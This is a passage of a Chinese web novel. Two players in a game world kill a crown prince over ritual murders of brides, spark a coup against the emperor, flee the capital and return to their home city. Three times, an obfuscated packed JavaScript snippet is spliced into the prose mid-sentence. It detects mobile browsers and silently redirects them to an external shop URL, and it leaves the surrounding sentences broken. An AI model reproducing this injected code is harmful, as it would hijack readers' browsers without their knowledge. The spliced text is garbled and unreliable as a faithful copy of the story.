回到冬府的时候,天色已经暗了下来。两人在宴席上几乎没动筷子,冬逢初挽起袖子,进了厨房。 初与序没跟进去,去了书房,点燃蜡烛,抽出纸笔写着什么。 片刻后,冬逢初端着托盘出来,上面放着两碗西红柿鸡蛋面。他将托盘在桌上放好,才朝书房唤了一声:“阿序,吃饭了。” 初与序应了一声,将写好的几张纸拿起来走到外面,交给仆从,低声吩咐了几句。仆从恭敬接过,转身快步出了府。她这才走到桌边坐下,自然地将冬逢初的碗拿来,盛好面后再推回他面前。 冬逢初坐在她对面,手里拿着筷子,却有些心神不宁,看着面前的碗半天没动。 “在想什么?”初与序问。 冬逢初抬起头,认真地说:“阿序,我想谋反。” 初与序没意外,淡淡道:“我们在副本里只剩一天时间,你打算怎么谋反?” 冬逢初被问愣住,叹了口气:“我刚刚也在想这个问题。杀了太子,皇帝要杀我们;不杀太子,红轿案永无终结,还会有更多像柳青娘那样的女子受害。” 初与序端起碗,笑了一下:“你先吃饭,我一会和你说。” 待两人吃完,初与序走回书房,很快又拿着一张纸走了回来。她将纸展开,这是一份手写的名册,是她的字迹: 「1.三皇子萧景宸:暗中畜养死士,对皇帝父子早有怨怼。」 「2.镇北侯:戍边大将,其妹曾是红轿案受害者之一,家族与太子有血仇,手握边军。」 「3.司礼监掌印太监冯德:皇帝心腹,贪婪惜命,与太子有利益冲突。」 「4.周焕与其背后的清流言官集团:提供舆论造势,串联文官。」 「5.初明远与部分中立派官员:在事后稳定朝局,避免全面混乱。」 「……」 初与序平静地看着冬逢初,道:“现在这朝堂上,反对太子的,反对皇帝的,想趁乱上位的,大有人在。一盘散沙,缺的只是一把火,一个名正言顺的由头,和带头点火的人。” 她点了点名册:“若想谋反,我们不需要推翻整个王朝,只要利用明天,带头曝光太子罪行,以此为号,让那些那就暗中串联的人看到机会,联合行动。” “这样,即使我们明天完成任务,回到永冬之城,这些NPC也会为了各自的利益,将‘清君侧’、‘诛妖邪’的战争继续下去。” “直至,推翻萧衍,另立新君。” 冬逢初听着,拿起那张名册,仔仔细细地看着上面每一个名字。 “三皇子萧景宸,他有野心,也有足够的身份,但一直被太子压制。”初与序继续道,“我们杀太子,替他铲除了最大的绊脚石,即使皇帝要我们死,他也会尽力保住我们。太子倒台,最大受益者就是其他皇子和他们背后的外戚,萧景宸自然会主动往上走。” 冬逢初顺着她的话说:“镇北侯有兵,驻扎京畿北营,麾下三万精锐。冯德掌着西华门一带的禁卫,能造势。你父亲和我老师老翰林,门神故旧遍布六部,能稳住大部分文官。” 初与序点了点头:“没错,冯德和周焕那边,我刚才已经写了信,派人送到他们府上。周焕会带人撰写弹劾太子的奏章,会在事后第一时间全城散布,宫门张贴,但镇北侯……” “不必特意为他传信。”冬逢初说,“他妹妹就是三年前红轿案的那个新娘,到时候只要他看到京城的动荡,自然会带兵来为妹报仇。” 事到如今没有退路了,从今晚太子的表现来看,他已经知道冬逢初和初与序找到真正凶手的事,不出意外这几天就会动手杀他们。皇帝的态度暧昧不清。太子不死,初与序乃至其余女子都永无宁日,红轿案和冥婚案也会继续进行。 “时间不多。”冬逢初站起身,“我去联络几个在禁军和京城卫戍部队里的旧识,还有老师那边的一些故交。尽量争取一些人站中立,或者倒戈。” 初与序也站起身,将名册卷起:“我去初府一趟,有些话需要和父亲说清楚。” “现在已经宵禁,你小心些。”冬逢初叮嘱道。两个人分头行动,处理各自的任务。 在夜色之下,无数看不见的丝线正以冬府为中心,向着京城各个角落、各个府邸、各个兵营蔓延开来。 第五日,京城飘起了小雪。 细碎的雪沫子无声落下,覆盖了屋瓦街巷,天色阴沉,人心惶惶。 周焕与他们的同僚们一夜未眠,弹劾太子十大罪状的奏折已经抄录了上百份,派人分藏在多处。安排好的市井之徒、说书人、乃至孩童,开始隐隐约约在街巷里游走,等待着时机到来。 宫城内,一些禁军将领和官员收到了昨夜从冬府传来的密令,他们各自调整了手下兵卒,进入待命状态。冯德那边,早早带了几名心腹,寸步不离地守在了几处宫门附近。 没有人知道行动的结果会如何,也没有人知道全部的计划,这一切只能走一步看一步了。 冬府,初与序和冬逢初也几乎一夜未合眼,早早换上了一身利落的深色劲装,长袖用护腕收起,头发高高束成马尾,不留累赘。 两人在院中对视一眼,冬逢初道:“都准备好了?” 初与序抚去肩上落雪:“地图记住了,柳青娘那边也给了回应,她会来。” 两人和冬府上下打好招呼,从后门走出。雪小,雾气却重,白茫茫一片,他们借着掩护,来到宫墙外的角落。 墙根下有个被杂草遮住的矮洞(其实冬逢初觉得这是狗洞),勉强可容一人通过。冬逢初蹲下身,探头进去看了看,回头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184664|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“安全的。” 两人一前一后,飞快钻了进去。洞内潮湿,充斥着土腥味。爬了约七八丈,前方透出光亮。 他们钻了出来,拍掉了身上的尘土,眼前是东宫外围,此刻静悄悄的。 初与序回想了一下地图,道:“这边。” 她率先迈步,冬逢初跟在她后面。 东宫内部院子路多复杂,但初与序就像是走在自家后园里般,每次遇到岔口,她都能找到正确的方向,或者是伸手在某处轻轻一按,就能触发机关,避开巡逻。 一路有惊无险,最终他们停在一处小花园入口。院内腊月梅凌寒开着,香气被雪气一激,格外清冽。 摘星阁就在花园后方,侧窗开着一条缝,两人翻了进去。 内部和之前初与序来的时候一样,四具“阳煞”尸傀安安静静地待在原地,穿着褪色的大红嫁衣,面色如生,唇含朱色。 冬逢初上前解开固定尸傀的卡扣,尸傀很轻,像一具人体空壳,入手冰冷。初与序也解开另一具。两人各自搬起两具尸傀,原路返回,翻出侧窗,回到花园。 雪还在下,落在尸傀的嫁衣上。初与序感觉自己手里的尸傀动了动,她低头一看,那尸傀脸上似乎带着茫然,不理解这两个人要把四个尸体搬出来。 他们扛着尸傀朝着东宫太子的主院走去,当他们踏入院子的时候,所有太监和守卫都愣住了。 一个年轻太监手里的扫帚啪嗒掉在地上,就见冬逢初将手中两具尸傀轻轻放在地上,直起身微微一笑:“早上好。” 守卫队长脸色大变,厉声喝道:“什么人?!胆敢——” 当他看到地上那些女尸的衣着和面容时,话戛然而止,一股寒气从脚底板直冲头顶。 初与序冷冷看着这些人,道:“红轿案真凶在此,证据确凿,尔等若不想被牵连,退开。” 守卫们面面相觑,没人敢第一个上前,一部分人下意识后退,另一部分人则慌乱地看向队长。过了片刻,才终于有人反应过来,连滚带爬地朝着内殿跑去。 没过多久,萧景琰带着几名护卫匆匆赶到。他随意披着外袍,头发也有些散乱,显然是刚从寝殿内被惊起。 但当他看到院子里那四具尸傀时,脸上的困意被暴怒取代,怒道“你们好大的胆子!” 冬逢初道:“太子殿下,炼制鬼兵,残害民女,证据就在你眼前,你还有何话说?” “证据?”萧景琰气极反笑,“就凭这几具尸体?冬逢初,你以为你是谁?敢闯东宫,擅动禁物,污蔑储君,死罪!死罪!” 他咆哮出声,双手举起,猛地掐了个诀,口中念念有词。 刹那间,院子里那四具尸傀齐刷刷睁开了眼睛!空洞的眼眶里燃烧起绿色鬼火,身体发出嘎吱嘎吱声,从雪地上爬起来,摇摇晃晃朝着冬逢初和初与序围拢过来。几步之后,速度陡然加快! 摘星阁方向也传来了密集的脚步声,更多的“阴煞”尸傀被唤醒,朝这边赶来。一股股黑气从摘星阁方向冒出来,在空中聚成一个个鬼影,发出惨叫,朝着院子扑来! 守卫们如梦初醒,硬着头皮拔刀围上来。 赵德缩在廊柱后面,吓得浑身发抖。 冬逢初长剑横扫过去,初与序矮身从他臂下滑过,袖中短刀滑落掌心,反手一划,一只尸傀伸来的手腕断裂,断手掉在地上,还抽搐了两下。 260.红轿案 尸群感受不到疼痛,全部涌上前。冬逢初踏步前冲,长剑贯入一具尸傀胸膛,推着那躯体向后撞倒。 一名守卫挥刀扑向冬逢初,他后仰避开,顺势拔出长剑,向上一挥,削飞其半片头颅。初与序从他身侧闪出,短刀扎进另一名守卫腰侧,跃起蹬上守卫肩背,凌空翻到冬逢初另一侧,落地时刀锋又抹过另一人咽喉,鲜血喷涌,那人捂着脖子直挺挺倒下。 尸傀和鬼影实在太多,源源不断从摘星阁涌出,加上周围虎视眈眈的守卫。两人身上渐渐带上伤,压力越来越大。 萧景琰站在远处,冷漠地看着他们。 就在这时,院子温度下降,迎风四起。地上的雪花和枯叶卷起,一道模糊的红影出现在半空。 柳青娘盖头低垂,周身黑气翻涌,怨气冲天。那些尸傀和鬼影动作齐齐一顿。 她在半空悬浮几秒,忽然惨叫道:“萧景琰……还我命来——!!!” 萧景琰惊怒道:“你这贱婢阴魂,竟还未散?!” 柳青娘不答,死死盯着他。下一秒她化作一道红光,直直扑向萧景琰! 萧景琰急忙后退,掐诀要操控尸傀抵挡。但尸傀被冬逢初和初与序阻拦住,红光瞬间没入萧景琰的身体。 萧景琰浑身一僵,眼睛猛地瞪大,瞳孔收缩,面无血色。他身体不受控制地开始颤抖,双手抬起来,手指弯曲,朝着自己脖颈狠狠抓去。 “不,住手!滚出去!”他吼道,挣扎着想摆脱控制。他的指甲深深掐进皮肉,划出血痕。 初与序手中寒光一闪,脚下发力,身影如一道闪电,穿过数只尸傀,直直扑向萧景琰—— 噗嗤! 短刀齐根没入,正中萧景琰心脏位置。 萧景琰所有挣扎的动作都停住,他低下头,难以置信地看着胸口露出的刀柄,又抬起头看向初与序。他张了张嘴,想说什么,却只涌出一大口血。 随即,他竟然狂笑道:“哈……哈哈哈哈……杀了我……又如何?父皇……父皇还在……你们觉得,你们能活下去吗?” 接着,哐当一声,他当头倒下,摔在地上不动了。 院子里一片死寂,有人僵在原地不知所措,有人下意识持刀围住中央的两人,整个人止不住发抖。 “太子殿下死啦——!!!” 所有人恐慌起来,一些人拔腿就往院子外跑,只想快点逃离这个血腥之地,却只在下一秒,数道雪亮的刀光从院门两侧闪出!那几个逃跑的人脚步一顿,血液四溅,几颗头颅齐刷刷从脖颈上断开,滚落在地! 其中一颗头颅骨碌碌滚了几圈,停在一双明黄色绣金龙纹靴边。 从靴子往上看,是明黄色的龙袍。 再往上,是皇帝萧衍。 他身后跟着一大批禁军,黑压压一片,将院子堵得水泄不通。 所有人都僵住,那些守卫看了看地上太子的尸体,又看了看门口的皇帝,再看了看那些新鲜的头颅,都忘记了呼吸,生怕下一个掉脑袋的人是自己。 萧衍扫了一眼滚到他脚边的头颅,缓缓抬头,目光又落到死不瞑目的太子萧景琰身上。 他看了很久,然后扯了扯嘴角,抬眼望向被围在中央的冬逢初,平静道:“冬卿,这是怎么回事啊?” 冬逢初压下喉间鲜血,躬身行礼:“回禀陛下,臣已查明,红轿案与北地冥婚连环案,主谋是太子殿下。他勾结方士,以离魂草炼制鬼兵,残害官家女子与民间女子,窃取魂魄,炼制尸傀阴阳煞,意图不轨。臣与内子为阻止其继续为祸,不得已……出手诛杀。” 等他说完,萧衍点了点头,脸上露出赞赏的微笑。 “原来如此,爱卿不愧为朕亲手提拔的干才,短短数日便查清了这桩悬案,揪出了真凶,还替朕清理了门户。” 他转向初与序:“冬夫人,亦是巾帼不让须眉。” 接着,他脸上的笑容消失,声音拔高,道: “——但!” “谁给你们的胆子,未经朕的旨意,擅自诛杀储君?!” “储君有罪,自有国法宗室论处!何时轮到你们臣子,以武犯禁,擅动刀兵,在东宫之内行弑杀之举?!” 他猛地一挥手,雷霆震怒: “弑储君者,形同谋逆!给朕拿下——!!!” “遵旨!” 早就蓄势待发的禁军从四面八方涌入院中,院墙之上,屋檐之后,埋伏好的弓箭手齐刷刷现身,张弓搭箭,全部对准了初与序和冬逢初。 “陛下,”初与序开口道,“这案子,您本身就知道吧?” 一直缩在角落的赵德猛地抬起头,失声道:“你你你,你不是说陛下不知道吗?你……你骗我?!” 初与序瞥了他一眼,淡声道:“他怎么可能不知道?趁着这时候,我劝你赶紧跑吧。” 狗皇帝早就知道太子在炼鬼兵,但他默许,因为鬼兵若能炼成,是一股可怕的力量,能巩固皇权,震慑内外。死几个女子,在帝王心术面前,又算得了什么? 而现在,初与序和冬逢初不仅毁了炼鬼兵的计划,杀了太子,甚至当着这么多人的面揭开真相,让丑恶暴露在天光之下。 皇帝必须灭口,灭掉所有知情者,灭掉这两个胆大包天的“功臣”。 柳青娘的怨气还飘在萧景琰的尸体上方,此时此刻忽然疯狂旋转起来。阴风怒号,以那团黑气为中心向四周爆开! 狂风卷起地上的一切,劈头盖脸朝着四面八方射去。一股力量让那些瞄准初与序和冬逢初的箭雨偏转,被阴风带偏,射在了空处,钉死在墙壁廊柱上。 趁着这机会,初与序和冬逢初冲向密道入口! 萧衍站在台阶上,厉声喝道:“追!封锁所有宫门!掘地三尺也要给朕把他们抓回来!生死不论!” 禁军门立刻分派人手追击封锁,初与序和冬逢初已经来到融通道入口,钻进去之前,他们回头冷冷地看了一眼远处的萧衍。 冬逢初从怀中取出一个打火机和一筒手拿烟花,他咔哒一声打燃火苗,点燃了烟花的引信。引信燃烧,他高高举起烟花筒,对准了灰蒙蒙的天空。 “咻——砰!!!” 一道亮红色的天光冲天而起,在空中炸开,化作一团耀眼夺目的火焰。 萧衍和周围人都被这烟火弄得一愣,脚步都停住了。初与序看着天空很快消失的烟火,又转向萧衍,忽然微微一笑:“陛下,您等着吧。” 说完,她和冬逢初头也不回地钻进了密道。机关复位,入口再次被遮掩。 “追!快追进去!”萧衍反应过来,催促道。 然而,在红色焰火炸开的同一时刻,宫城内外早就等候的所有人猛地抬头。看到那信号,立刻振臂高呼:“信号!太子已伏诛!清君侧,诛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193186|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖邪,行动——!” 周焕等人立刻像上了发条一样行动起来,他们红着眼睛,精神亢奋,将怀中早就捂得发热的奏章掏出,交给身边安排好的人。 “快!贴到六部衙门口!撒到东西两市!送到各位大人府上!” 那些奏章抄本公然贴在六部衙门口、城门告示栏、茶馆酒肆的墙上。言辞激烈的檄文被人从高处抛洒,落满街巷。 “唱!把民谣大声唱起来!” 那些暗中传唱了一上午的民谣此刻被放开了喉咙,大声唱响: “红轿抬阴魂,东宫养鬼兵,天子坐明堂,不问苍生问鬼神——!” “太子残暴,炼制鬼兵,残害民女,天理不容!” “殿下包庇,纵子行凶,与妖邪何异?!” 这些真相如同投入滚油的火星,瞬间引爆了早就暗流汹涌的京城,朝野震动,市井哗然。恐惧愤怒和野心的火焰,在雪后的京城熊熊燃烧。 冬逢初和初与序在密道内快速奔跑,不知走了多久,才看到了出口。 这条路的出口是一片废弃的草地,不远处有枯井,杂草丛生,静悄悄的。 两人刚踏出密道,破空声传来,数支弩箭朝着他们射来。两人在听到声音时立刻向两侧闪开,弩箭钉入他们刚才站立的地面! 果然有埋伏。 接着,十几个黑衣人从藏身处跃出,一言不发就便着他们扑来!看身手,是太子之前养的死士。 眼看就要陷入一场苦战,忽然只听“嗖!嗖!嗖!”三声,又是数道箭矢,却是从侧面另一处矮墙后射来,朝着那些死士。 箭矢又快又准,直直放倒了三四个人。矮墙后挑出七八个人,动作矫健,出手狠辣,立刻与剩下的死士混战在一起。 为首的是一个脸上带疤的禁军,他快步冲到两人面前:“冬大人,夫人,这边!跟我们走!” 初与序认得他,是禁军中一个小头目,初家老部下的远亲,昨夜刚通过初府暗中联系。 他带着两个手下开路,初与序和冬逢初紧随其后。七拐八绕,勉强暂时甩开了那些死士,来到了一间废弃马厩前。 马厩很破,但里面拴着七八匹膘肥体壮的马。 禁军指着这些马:“大人,夫人,快!随便选两匹,趁现在正乱,赶紧出城!城门那边已经打好招呼了,守西侧偏门的是我们的人,见到你们就会放行。出了城,避开官道大路,等京里有了结果,我们会想办法传信给你们。” 两人随便挑了两匹性子看起来相对温顺的,解下缰绳,翻身上马。 “保重。”他们对禁军最后说了一句,一扯缰绳,率先冲出了马厩。 两匹骏马撒开四蹄狂奔,此刻的京城到处都是惊慌奔走的人群,一些地方甚至冒起了黑烟。无心他顾,两人朝着西侧城墙的方向疾驰。 很快,西侧一道偏门出现在眼前。城门紧闭,上面的守卫明显比平日多了不少,个个神情紧张。 冬逢初和初与序的马刚靠近,城墙上一个人就探出头,看到他们眼睛一亮,立刻朝着下面挥手:“开门!开门!” 沉重的城门被七八个兵卒合力推开,那武官在楼上催促道:“大人,快!” 冬逢初和初与序道完谢,一提缰绳,两匹马先后从门内冲出。 身后的城门又迅速合拢,城外的冷风凛冽,卷起雪沫子打在脸上。 261.红轿案(完) 就在当天,三皇子萧景宸,正在他那位出身显赫贵妃母族的舅舅,以及一众朝臣的簇拥下,于一处府邸前,朗声宣告: “诸位!太子萧景琰,行妖邪之术,炼制鬼兵,残害官家与民间女子,天怒人怨,人神共愤!今已伏诛,实乃天理昭彰!” “然,父皇受其蒙蔽日久,对太子罪行或有失察,乃至或有纵容!如今宫廷混乱,妖氛未靖。为江山社稷计,为天下苍生计,本王,萧景宸,不得不行此雷霆手段——清君侧,正朝纲,诛妖邪,还天下一个朗朗乾坤!” “凡我大梁忠臣义士,当随本王,共襄义举!” “诛妖邪!清君侧!” “诛妖邪!清君侧!” 口号声响成一片,人们狂热地呼应着,一面绣着“宸”字和“清君侧”字样的大旗被高高竖起,在冬日的寒风猎猎作响。 消息长了翅膀,飞向京城各处,飞向更远的地方。 那些家中女儿曾经是红轿案受害者的家族,闻听太子罪行被曝光,怨恨爆发。他们组织起家族私兵,加入三皇子的队伍。在各自任职的州县制造声援,截留赋税兵员,给朝廷添乱。 初家、冬家等联络的禁军将领在收到信号后,立刻做出了选择。他们以“三皇子有令,肃清宫廷妖邪,保护皇子安危”为名,响应三皇子号令,带着本部兵马,开始攻击那些仍忠于皇帝的禁军和卫戍部队。 外戚私兵,与三皇子母族关系密切的家庭的家丁死士,也从各处涌出,加入战团。 冯德和他的手下在西华门,玄武门等宫门,直接杀死守门将领,打开宫门,放入了部分“清君侧”的军队。 一时间,京城大乱,烽烟四起,无数计划在太子死亡后爆发,在短短一天全部开始行动。这些计划并非出自初与序和冬逢初之手,但一切的开端确确实实源于初与序和冬逢初。 而此刻,点燃了这场燎原大火的两人,正骑马夺命狂奔。 不是啊,怎么出了城门还有兵追啊?! 与他们同行的还有一位眉眼飞扬的少年,是那日在朝堂之上也参加“笏板战”的改革派少年。他热血未凉,不知怎的竟跟了出来,执意要送他们一程。 身后马蹄声如雷鸣,烟尘滚滚。那些死士不顾京城大乱,一路追了出来,死死咬住他们不放,要给太子殿下报仇。 嗖! 一支长箭擦着冬逢初耳畔飞过,盯在前方树干上。 冬逢初侧头避开,朝着旁边与他并行的少年喊道:“夏公子,送到这里就可以了!后面追兵凶猛,不必再送,速回京城!那里更需要你!” 夏江山一手控缰,一手提着长弓,闻言张扬地笑了一下,露出一口白牙:“冬大人放心!我心里有数!我知道前面不远处有座荒废的山神庙,偏僻得很,寻常人根本找不到。我带你们到那儿,指了路我就回去!绝不耽误!” 他话未落,道旁一棵大树上猛地扑下来一道黑影。握着弯刀就朝着初与序座下马匹的脖颈刺去,竟是打着先废掉坐骑的主意! 马匹受惊扬蹄,初与序身体后仰,持刀向上格挡。 铛——! 死士力量极大,又是居高临下的蓄势一击。初与序仓促格挡,短刀被震得脱手,落向几丈外的草丛中。 初与序伸手就要将短刀召唤回来,然而在三人分心的电光火石间,远处一个死士开始行动。他的身形在密集的树干间闪烁跳跃,速度快得直看见残影,双手连扬! 数只飞镖分成上中下三路,直取初与序咽喉、心口和腹部,封死了她所有躲闪的方位。 而冬逢初被侧面冲出的两名死士缠住,一时脱不开身。夏江山也被另一个死士扑上来,用同归于尽的方式拖出了马速。 眼看几枚飞镖就要射中,千钧一发之际,夏江山猛地将自己手中的长弓掷向初与序:“夫人接着!” 长弓在空中旋转着飞来—— 冬逢初同时荡开面前敌人的兵刃,转过身形,将手中长剑猛地一扫,射向初与序的飞镖被长剑扫飞。 初与序飞快伸出手,稳稳接住长弓。入手,转身,搭箭,拉弦。一系列动作行云流水,让人眼花缭乱。 电光火石间,那人的大腿已经被箭穿透。他惨叫一声,整个人从半空中坠下,重重摔在草地上,鲜血染红了一片。 初与序将长弓扔还给夏江山,空着的左手凌空一抓,不远处的短刀飞回,落入她掌心。 “走!” 冬逢初已经趁机解决了缠住他的人,夏江山抹了把脸上的血,咧嘴笑道:“痛快!跟我来!” 三匹骏马长嘶一声,撒开四蹄,冲入山林小道。 夏江山带着两人在山林间又疾驰了小半个时辰,终于看到了一座庙宇。山门后的庙宇不大,已经荒废已久。正殿还算完成,门楣上悬着一块匾额,上面写着“观音庙”三个字。 夏江山勒住马,跳下来道:“就是这儿了。这庙很多年前香火就断了,地方又偏,偶尔有猎户和逃难的人休息。你们暂时躲在这里很安全。” 冬逢初和初与序也下了马,他又走到初与序面前,摸出一个信封,递了过去:“夫人,初大人今早派人悄悄找到我,托我务必转交给你。” “多谢。”初与序点了点头,接过信封。 夏江山望了望京城的方向,那里天际有一片不正常的灰红。他道:“狗皇帝萧衍,还有他那太子儿子,干了这么多丧尽天良的事,早就该下台了!镇北侯那边估摸着过几天就能收到消息,他那暴脾气,加上妹妹的仇,肯定带着兵就杀过来。这京城有得乱了。” 冬逢初走过来,道:“今日多谢夏公子援手,京城局势未明,三皇子那边也需要你这样的人。” “冬大人客气啦,我看不惯那些事,也敬佩大人和夫人的胆魄。能帮上忙是我的荣幸。”夏江山挥了挥手,抱拳道,“冬大人,夫人,今日一别,山高水远,不知何时才能再见了。二位多多保重!” 冬逢初和初与序也郑重还礼。 “夏公子保重,后会有期,回京城路上小心。” 夏江山翻身上马,最后看了他们一眼,一抖缰绳,沿着来路,很快消失在山道。 冬逢初找来半截蜡烛,用打火机点燃。初与序 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193187|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取出那封信,借着烛光拆开信封,抽出里面的纸张。 「吾儿序,见字如晤。」 「为父万万没料到,我儿竟有如此胆魄与野心。看来这么多年,为父还是不够了解自己的女儿。我们父女,疏淡多年,如今怕是要真正分别了。」 「你不必挂念为父,眼下京城大乱,朝廷必会派人捉拿初家、冬家与其余家族的主要人等入狱问罪。但这未必是坏事,外面兵荒马乱,刀剑无眼,牢狱之中反倒安全些。他们暂时也不敢真对为父等人行刑问斩,一切自有三皇子那边周旋保全。」 「你与冬大人务必万事小心,这段时间风声太紧,追捕必然酷烈。找个远离是非的僻静之地,江南水乡也好,西南边陲也罢,暂且安身,静待时局变化。」 「勿念。」 「父字。」 信不长,初与序静静地看了一会儿,在看到第三段时松了口气,然后将信收进了面板。 “回去吧。”她抬头,看向冬逢初,“我们的家人会无事。” 冬逢初点了点头,吹灭了蜡烛。 “好。”他说,“那就回去。” 【恭喜各位玩家通关副本《红轿案》。】 【你们离开后不久,镇北侯率边军杀入京城,京城陷入惨战。初明远、老翰林等被人从狱中救出,成为文官幕僚。三皇子萧景宸在文官集团与外戚拥护下,宣告监国,打出“诛妖邪,正朝纲”旗号。】 【第一年,皇帝萧衍据守皇城负隅顽抗,然禁军分裂,冯德等内应开城,人心尽失。周焕等御史掌控舆论,太子罪行传遍天下,民心思变。各地藩镇官员相继表态,支持“清君侧”者众,亦有拥立其他皇子者,天下陷入割据混战。】 【第三年,三皇子派系控制中原大部,反对派拥立五皇子,割据江南,战事胶着。民间自发组织“红轿遗属义军”、“冥婚受害者”加入三皇子阵营,提供情报与地方支持。】 【第五年冬,萧景宸联军攻破最后皇城,皇帝萧衍于城破时,携剩余鬼兵资料于方士,自焚与摘星阁。三皇子萧景宸登基。】 【新帝即位后,彻查红轿、冥婚余孽。所有参与炼制鬼兵者,皆被公开审判处刑。废黜“冥婚”等民间恶习,立法严禁生殉。于京郊西山建“贞烈冢”,厚葬所有受害女子,追封抚恤,香火永祀。整顿吏治,清查田亩,减免赋税,于民休息。】 【天下初定,民生渐复。红轿阴云散尽,孩童嬉戏于市井,再无“阴间选妃”之传言。虽玩家已离开此世界线,然其作为“点燃烽火者”的事迹,被幸存者口耳相传。】 【第七年冬,玩家于副本中的原身拥有自我意识,回到京城。新帝感念二人当年行为,特旨召见,厚加赏赐,并委以重任。二人继续守护太平,于暗处行正义之事。】 【你们以身为引,点燃了颠覆腐朽王朝的烽火。此后五年战乱,是旧时代最后的抽搐。而随之诞生的贞烈冢,比鬼兵更持久。此间事暂了,前路犹长。】 【本次副本奖励已发放到二位玩家面板,可打开查看。】 【祝二位新婚快乐,此生同心。】 262.下一步计划 副本结束,还是J23开着D019次列车将两人送回了永冬之城。 江意等人在训练场,他们往训练场的方向走,刚推开门,就听到江意冷冰冰的声音。 抬头看去,江意站在场地中央,面无表情,随歌耷拉着脑袋站在他前面,像只犯了错的大型犬。 “你是觉得自己命太长,还是觉得A级副本不够刺激?”江意垂着眼,“和向枝冥在副本里烧烤,还拿着自己的武器竹扇去扇烧烤的火?你挺能耐啊,随歌。” 随歌小声辩解:“我……我就是想试试……火不够旺,烧烤不好吃嘛……” “火不够旺?”江意扶额,轻轻叹了口气,“你差点把自己和向枝冥一起点了。竹扇你也用了五年,这次竟然控制不好?看来是草莓牛奶喝太多了,从今天开始到半个月后别喝了。” “别啊意哥!”随歌哀嚎道,“我错了!我真的错了!下次不敢了,别没收我草莓牛奶行不行!” 向枝冥站在旁边,试图打圆场:“意哥,算了呗,我们两个也没真出事,就是差点……” 江意转向他,幽幽道:“向枝冥,我觉得你的队长回北也应该知道一下她的队员在副本里烧烤,差点把自己送走的事。” 向枝冥立刻闭上嘴,后退半步,看向别处,一副“我什么都没说”的样子。 安楚靠在不远处,忍不住嘲笑。向枝冥恶狠狠瞪了他一眼。 初与序和冬逢初走进来,随歌一看到他们,立刻扑了过去:“冬逢初初与序!救救我!意哥他要扣掉我半个月的草莓牛奶!半个月啊!我最喜欢草莓牛奶了!这不是要我的命吗!” 冬逢初被他晃得失笑:“意哥,他俩确实没出事,也知道错了,要不……” 江意冷漠道:“不行。” 随歌仰天叹气,蔫了。 景明垂从另一边走过来:“你们这次副本的奖励道具是什么?” 两人闻言,纷纷打开各自的面板,查看道具空间。面板里各自多了一件道具。 是一对玉佩,样式古朴,质地温润。玉佩的造型简单,就是常见的圆形平安扣样子。奇特的是,这两块玉佩的纹路完全对称,合在一起看,能看出这是一对交颈相依的鸳鸯。 【道具名称:双栖佩(对)】 【道具效果:在任何地点,任何时刻(包括除永冬之城与副本外的其余),持有者可主动激发玉佩,与持有另一枚玉佩的绑定者指定时间重逢,仅一次机会。】 【备注:身无彩凤双飞翼,心有灵犀一点通。】 冬逢初和初与序一看到这两块玉佩,就愣住了。 ——好巧不巧,正是副本里成婚时冬逢初给初与序的聘礼,那对鸳鸯玉佩。 “成对的道具?”随歌凑过来,好奇道,“这倒是头一次见,你们俩在副本里干啥特殊任务了?奖励这么特别。” 冬逢初看了看自己那块玉佩,又看了看初与序那块,耳根有点红。 他低头笑了笑:“没干啥特别的……就是,结了个婚。” 训练场里瞬间安静了。 几秒后—— “什么?!” “结婚?!” “和谁?你们俩?” 冬逢初和初与序连忙你一言我一语,把为什么在《红轿案》成婚的原因给几人讲了一遍,几个人一脸懵地听着,信息量有点大。 随歌听得眼睛发直,和向枝冥咬耳朵:“我咋觉得他们俩这么做是有私心的啊?” “废话。”向枝冥扫了他一眼,“你看人冬逢初乐的,一看就是故意的啊。” 随歌深以为然地点了点头。 景明垂想了想,问道:“那如果以后有机会回到现实,你们还会办一次婚礼吗?” “办。”初与序很自然地点点头。 冬逢初眼睛“噌”地就亮了,星星眼看着初与序,也在一边疯狂点头。 随歌看得牙酸,挥挥手:“咱们几个单身狗赶紧散了,训练去吧。我可不想当电灯泡。” 后面一段时间没有副本通知,也没有玩家找事,几人在永冬之城安安稳稳呆了一周时间。 就在初与序和火腿面包窝在1802的沙发上思考什么时候开始下一步计划时,D栋通行卡亮起蓝光。 “初与序,该进阁楼了!”火腿面包立刻激动地跳起来。 进入阁楼时,江意已经在了。他坐在沙发上,笔记本摊开在面前。听见动静,他抬头淡淡打了声招呼。初与序在他对面坐下,打开耳骨夹,照常将阁楼的画面传递给冬逢初那边。 “这次要说什么?”她问。 江意将笔记本转向她,上面是密密麻麻的数据和结构图,当然初与序是看不懂的,也只有江意能看懂他自己做的这些了。 “破坏系统。”他道。 